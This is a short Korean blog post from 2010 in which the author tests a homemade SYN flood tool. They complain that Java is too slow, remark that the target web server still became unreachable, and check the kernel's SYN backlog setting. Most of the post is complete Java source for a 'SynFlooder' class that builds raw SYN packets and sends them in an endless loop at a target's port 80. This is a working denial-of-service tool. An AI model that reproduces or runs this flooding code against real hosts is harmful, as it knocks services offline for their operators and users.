자바의 한계로 이런 부류는 너무 느려서 안 되겠다.. 재미가 없네..
초당 2만 정도 밖에 안 나간다.. SYN_RCVD 대기가 별로 안 생김..
나중에 다시 해봐야지 -_-;; IP와 MAC도 바꿔봐야 될라나 싶은데..
일단 다른 작업부터..
---
음 웹 서버 접속이 안 되긴 한다..
RCVD도 그렇게 빨리 떨어지지 않는걸로 봐서 한계치? 그럴리가 없는데 이상해..
해당 포트는 접속 못 해도 다른 포트는 잘 접속되고 말이지.. 내가 모르는 rate limit이 있나..
---
보통 이게 기본값인가..
# cat /proc/sys/net/ipv4/tcp_max_syn_backlog
1024
그래도 SYN_RCVD 숫자가 경계선에 한참 못 미치는데..
--
public class SynFlooder {
public static void main(String[] args) throws IOException {
System.loadLibrary("kpcap");
InetSocketAddress targetIp = new InetSocketAddress(InetAddress.getByName(IP), 80);
PcapDevice device = PcapDeviceManager.openFor(targetIp.getAddress(), 1000);
MacAddress targetMac = Arping.query(targetIp.getAddress(), 1000);
byte[][] buffers = new byte[50000][];
for (int i = 10000; i < 50000; i++) {
Buffer buf = createSynPacket(i, targetIp, targetMac);
byte[] buffer = new byte[buf.readableBytes()];
buf.gets(buffer);
buffers[i] = buffer;
}
System.out.println("syn packets loaded");
while (true) {
for (int i = 10000; i < 50000; i++) {
device.write(buffers[i]);
}
}
}
private static Buffer createSynPacket(int sourcePort, InetSocketAddress destination, MacAddress targetMac)
throws UnknownHostException, IOException {
System.out.println(sourcePort);
PcapDeviceMetadata metadata = PcapDeviceManager.getDeviceMetadata(destination.getAddress());
InetAddress sourceIp = metadata.getInet4Address();
MacAddress sourceMac = metadata.getMacAddress();
InetSocketAddress source = new InetSocketAddress(sourceIp, sourcePort);
TcpPacket tcpPacket = new TcpPacket.Builder(source, destination).flags(TcpFlag.SYN).build();
IpPacket ipPacket = new IpPacket.Builder(1, source.getAddress(), destination.getAddress(),
InternetProtocol.TCP, tcpPacket.getBuffer()).build();
EthernetHeader ethHeader = new EthernetHeader(sourceMac, targetMac, EthernetType.IPV4);
return new EthernetFrame(ethHeader, ipPacket.getBuffer()).getBuffer();
}
}




덧글
홈쥬인 2010/10/05 19:24 # 답글
이햐 멋있다!!!! (...를 랍횽이 바란다고 해서 리플달았음)
xeraph 2010/10/05 19:25 #
흥 삐졌음